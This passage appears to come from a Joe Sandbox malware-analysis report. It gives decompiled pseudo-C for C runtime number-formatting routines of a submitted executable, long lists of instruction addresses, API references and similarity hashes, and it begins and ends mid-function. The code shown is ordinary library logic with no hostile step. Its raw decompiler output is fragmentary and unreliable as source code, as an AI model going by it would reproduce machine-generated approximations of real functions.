												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L0041E410();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E0041AEB0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00422F00(_t605))) = 0x16;
													E00422C90(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E0041AEB0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E00430820(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E004308A0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x0043507c
0x0043507c
0x0043507c
0x0043507c
0x0043507c
0x0043507c
0x0043507c
0x0043508c
0x0043508e
0x00435091
0x00435091
0x00435097
0x00435097
0x0043509a
0x0043509a
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435176
0x00000000
0x00000000
0x00435178
0x00435178
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x0043518c
0x0043519a
0x0043519f
0x004351a5
0x004351b3
0x004351d0
0x004351d3
0x004351d8
0x004351dd
0x004351e3
0x004351f1
0x004351f1
0x004351fa
0x004351fa
0x004351e3
0x00435200
0x00435204
0x00435215
0x00435218
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x0043522e
0x00435234
0x00435236
0x00435236
0x00435240
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00435253
0x00435259
0x0043525f
0x004352dc
0x004352e2
0x004352eb
0x004352f1
0x004352f7
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x0043532c
0x0043532f
0x00435332
0x00435337
0x0043533c
0x0043534e
0x00435351
0x00435363
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x0043537c
0x00435385
0x00435388
0x0043539e
0x004353a3
0x004353a3
0x004353b9
0x004353be
0x004353c4
0x004353c7
0x004353cc
0x004353cf
0x004353e5
0x004353ea
0x004353ea
0x004353cf
0x004353ed
0x004353f1
0x004354c5
0x004354d8
0x004354dd
0x00000000
0x004353f7
0x004353f7
0x004353f7
0x004353fb
0x00000000
0x00000000
0x00435401
0x00435401
0x0043540e
0x00435417
0x0043541d
0x0043541d
0x0043542c
0x00435432
0x00435434
0x00000000
0x00000000
0x0043543a
0x00435443
0x00435462
0x00435467
0x0043546a
0x00435479
0x0043547f
0x00435486
0x00435491
0x00435491
0x00000000
0x00435491
0x00435488
0x00435488
0x0043548f
0x0043549d
0x004354b6
0x004354bb
0x00000000
0x004354bb
0x00000000
0x0043548f
0x004354c3
0x004354e0
0x004354e0
0x004354e7
0x004354ec
0x004354ef
0x00435505
0x0043550a
0x0043550a
0x004354ef
0x004354e7
0x0043550d
0x0043550d
0x00435511
0x00435519
0x0043551e
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434749
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434783
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348ae
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x0043490e
0x00434911
0x0043493b
0x0043493e
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434922
0x00434926
0x00434928
0x0043492b
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x00434967
0x0043496a
0x0043498a
0x0043498d
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497b
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349bf
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a46
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a74
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a7f
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8a
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a95
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa0
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aab
0x00434aae
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a52
0x00434a55
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a55
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a21
0x00434a24
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00434a38
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e6
0x004349e9
0x00434a01
0x00434a04
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ace
0x00434ad1
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae5
0x00434af1
0x00434af4
0x00434afa
0x00434b01
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434b07
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b24
0x00434b26
0x00434b29
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c5e
0x00434c63
0x00434c65
0x00434c68
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bd7
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434be6
0x00434bea
0x00434c06
0x00434c09
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434e9e
0x00434ea2
0x00434ead
0x00434ead
0x00434eb1
0x00434ec8
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f02
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f7f
0x00434f85
0x00434f87
0x00434f8b
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434f8b
0x00434fad
0x00434fb4
0x00434fb7
0x00434fbc
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434feb
0x00434fee
0x00434ff3
0x00434ff9
0x00434ffc
0x00434fff
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435322
0x00434eb3
0x00434eb3
0x00434eba
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b7f
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x0043509a
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d89
0x00434d8e
0x00434d90
0x00434e3a
0x00434e3d
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434d96
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dbc
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de0
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434de6
0x00434ded
0x00434e35
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x00000000
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434caa
0x00434cb0
0x00434d17
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d44
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d51
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d66
0x00434d6c
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce5
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf2
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00000000
0x0043502b
0x0043502b
0x0043509a
0x0043509a
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509a
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x0043552d
0x00435534
0x0043554b
0x0043554b
0x00435555
0x00435555
0x0043555b
0x00435561
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435585
0x00435588
0x0043558a
0x0043558a
0x00435588
0x0043558b
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x00435536
0x00435536
0x0043553d
0x00000000
0x00000000
0x0043553f
0x0043553f
0x00000000
0x0043553f
0x00435322
0x004352f9
0x004352f9
0x004352fd
0x0043530a
0x00435310
0x00435316
0x0043531c
0x0043531c
0x0043531f
0x00000000
0x0043531f
0x004352ff
0x00435305
0x00435308
0x00000000
0x00000000
0x00000000
0x00435308
0x00435261
0x00435264
0x0043526e
0x0043527d
0x00435286
0x0043529c
0x004352a2
0x004352a8
0x004352af
0x004352b7
0x004352b7
0x004352bd
0x004352bd
0x004352cc
0x004352d4
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00000000
0x00435251
0x00435243
0x00435183
0x00435183
0x0043518a
0x00000000
0x00000000
0x00000000
0x004351b8
0x004351be
0x004351ca
0x00000000
0x004351ca
0x0043509a

APIs

_get_int64_arg.LIBCMTD ref: 004350A8
__aullrem.LIBCMT ref: 00435275
__aulldiv.LIBCMT ref: 00435297

Strings

9, xrefs: 004352A8

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: e4d8c98b31be4b74ce76d5aae0e43659033bab61ce3d5d09879b221c5b074456
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: BE41C471D06629DFEB64CF98C889BAEB7B5BB48300F2495DAD009A7240D7385E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C494, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C494(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E004283F0(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E004283F0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E004283F0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E004283F0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428410(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428410(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CB80(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CBC0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CB80(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
